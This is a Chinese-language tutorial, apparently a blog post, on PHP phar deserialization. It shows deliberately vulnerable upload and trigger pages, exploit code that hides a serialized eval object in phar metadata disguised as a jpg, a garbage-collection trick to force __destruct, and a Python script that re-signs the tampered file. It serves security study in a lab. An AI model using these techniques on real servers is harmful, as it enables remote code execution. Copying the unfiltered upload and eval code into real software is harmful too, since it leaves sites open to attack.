认识phar
phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。phar://
也是流包装的一种,
phar
结构由 4 部分组成
-
stub
phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
-
manifest
压缩文件的属性等信息,以序列化存储; -
contents
压缩文件的内容; -
signature
签名,放在文件末尾;
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
[Phar]
;phar.readonly = On 首先在php.ini中修改phar.readonly这个选项,去掉前面的分号,并改值为off,由于安全原因该选项默认是on,如果在php.ini中是禁用的(值为0或off),那么在用户脚本中可以开启或关闭,如果在php.ini中是开启的,那么用户脚本是无法关闭的,所以这里设置为off来展示示例。
下面是php代码构造一个phar文件
$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($O); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>
二. PHAR文件结构
Phar文件主要包含三至四个部分:
1.a stub stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,可以在前面加上GIF89a,伪造成gif,jpg;但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2.Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点 生成phar文件
<?php
class A{
public $code = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
$object = new A();
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
生成的phar文件放入010Editor
没有经过 serialize但是反序列化已经生成,可以明显的看到meta-data是以序列化的形式存储的。
官方手册
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用 ,仅仅是知道一些受影响的函数,就够了吗?为什么就可以使用了呢?请移步这里
复现phar反序列化漏洞
环境windows,php7.4.3,在upload-labs靶场目录下完成
构造上传页面 up.php 无任何过滤
//php脚本开始
<?
$action=$_POST['action'];
if($action=="submit"){
$uploaddir = './';//上传的文件保存在当前目录
$uploadfile = $uploaddir . basename($_FILES['fileField']['name']);//取得PHP上传文件名
//开始移动PHP上传的临时文件到当前目录下
if (move_uploaded_file($_FILES['fileField']['tmp_name'], $uploadfile)) {
echo "上传成功.\n";
} else {
echo "上传失败!\n";
}
//打印你用PHP上传成功的文件信息!
print_r($_FILES);
exit;//结束php上传进程
}
?>
<form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input name="action" type="hidden" value="submit" />
<p>
<input type="file" name="fileField" id="fileField" />
</p>
<p>
<input type="submit" name="button" id="button" value="提交" />
</p>
</form>
执行页面 phar.php
<?php
if (isset($_GET['data'])){
$filename=$_GET['data'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);//触发点
}
else{
highlight_file(__FILE__);
}
//throw new Error("start");
?>
构造exp
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
$object = new AnyClass();
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
上传前修改后缀名为.jpg(由于没有过滤 后缀名可任意修改,这里改成jpg)
测试结果
由于phar://shell.xxx不限制后缀名,可以应用长度限制上传;敏感字符过滤(zip···)限制文件类型(jpg gif png···)等多种场合;
如果没有上传界面,要求上传字符串,可以用python
先读取文件再发包。
GC回收机制的利用
PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的
__dustruct 执行条件
1:对象为null
2:生命周期结束的时候
3:当一个对象被unset (GC)
讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?
如上面的phar.php 需要执行AnyClass类中的__destruct()方法才可以命令执行
如果末尾加上throw new Error("start");
因为抛出异常,程序直接报错而没有执行_destruct(),造成所构造的pop链变的无效。
一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就可以执行__destruct()方法了
对exp进行修改
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
$object = new AnyClass();
$c=array(0=>$object,1=>NULL);
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();?>
可以看到新生成的$c有两个键,分别指向$object与NULL
联想到对象指针置换为NULL触发GC回收,在010Editor修改,注意必须修改16进制;
然后修改签名
from hashlib import sha1
f = open('./exp.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('exp.phar', 'wb').write(newf) # 写入新文件
再次上传,url访问。
测试成功